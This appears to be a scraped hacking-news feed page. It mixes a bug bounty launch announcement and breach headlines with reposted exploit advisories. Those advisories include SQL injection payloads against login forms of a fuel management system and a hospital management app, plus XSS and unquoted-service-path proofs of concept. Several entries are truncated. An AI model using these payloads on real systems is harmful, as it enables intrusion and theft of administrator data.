Launching Superfluid Bug Bounty Program with Immunefi
https://medium.com/superfluid-blog/launching-superfluid-bug-bounty-program-with-immunefi-603401305e8d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Our mission to establish the Superfluid Protocol as a key component of the financial rails of the future requires more than technological…Continue reading on Superfluid Blog » (https://medium.com/superfluid-blog/launching-superfluid-bug-bounty-program-with-immunefi-603401305e8d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Launching Superfluid Bug Bounty Program with Immunefi

Our mission to establish the Superfluid Protocol as a key component of the financial rails of the future requires more than technological…Continue reading on Superfluid Blog »
Read more...

Dark Reading: Attacks/Breaches
Bot Marketplaces as a Source of Future Data Breaches

Of the four bot marketplaces Cognyte analyzed, the Russian Market is the most dominant, but the others are all active, updated daily, and well-known, too.

Dark Reading: Attacks/Breaches
Data Transparency Hasn't Made Us Safer Yet. Can It Uncover Breach Causality?

Advanced machine learning models within an XDR framework could uncover what actually causes breaches, but first we need better data transparency.

Exploit Collector
WordPress 5.9 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cain And Abel 4.9.56 Unquoted Service Path

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Cain and Abel version 4.9.56 suffers from an unquoted service path vulnerability.

MD5 | b85616cd8215aaedbc05f11ac0dc320e

Download
# Exploit Title: Cain & Abel 4.9.56 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 2022-02-08
# Software Link: https://www.malavida.com/en/soft/cain-and-abel
# Version: 4.9.56
# Tested on: Windows 10 x64

# PoC

SERVICE_NAME: Abel
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Cain\Abel64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Abel
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Jetpack 9.1 Cross Site Scripting

https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
WordPress Jetpack plugin version 9.1 suffers from a cross site scripting vulnerability.

MD5 | 1496cd997b11358dcd3cadff6686e97a

Download
# Exploit Title: WordPress Plugin Jetpack 9.1 - Cross Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/jetpack
# Version: 9.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Jetpack from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/modules/contact-form/grunion-form-view.php?post_id=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Tokheim Profleet DiaLOG Fuel Management System 11.005.02 SQL Injection / Code Execution

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
Tokheim Profleet DiaLOG Fuel Management System version 11.005.02 suffers from a remote SQL injection vulnerability that can allow for remote code execution.

MD5 | 223db005326f0bf40278c50e39231349

Download
# Exploit Title: Tokheim Profleet DiaLOG Fuel Management System 11.005.02 - SQLi (Unauthenticated)
# Date: 02/9/2022
# Exploit Author: golem445
# Vendor Homepage: https://www.tsg-solutions.com
# Tested on: Kali Linux
# CVE: CVE-2021-34235
# Description: Field__UserLogin parameter is vulnerable to crafted MySQL injection, resulting in remote code execution as root.

==Steps to Reproduce==
# Go to : http://dialog_host/login.php
# Enter escaped MySQL query into the username field and submit, passwords doesn't matter. (Such as: ' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Secure Copy Content Protection And Content Locking 2.8.1 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Hospital Management Startup 1.0 SQL Injection

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
Hospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b58e6761039ae3e688db4b3b03140ee3

Download
## Title: Hospital Management Startup v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.10.2022
## Vendor: https://github.com/kabirkhyrul
## Software: https://github.com/kabirkhyrul/HMS
## CVE-2022-23366

## Description:
The loginid and password parameters from Hospital Management Startup
1.0 appear to be vulnerable to SQL injection attacks.
The attacker can retrieve all information from the administrator
account of the system and he can use the information for malicious
purposes!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!

Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: loginid (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: loginid=hackedpassword=hacked' or '6681'='6681' AND
(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND
'sDHP'='sDHP&rememberme=on&submit=Login
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)

## Proof and Exploit:
[href](https://streamable.com/hri9eo)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video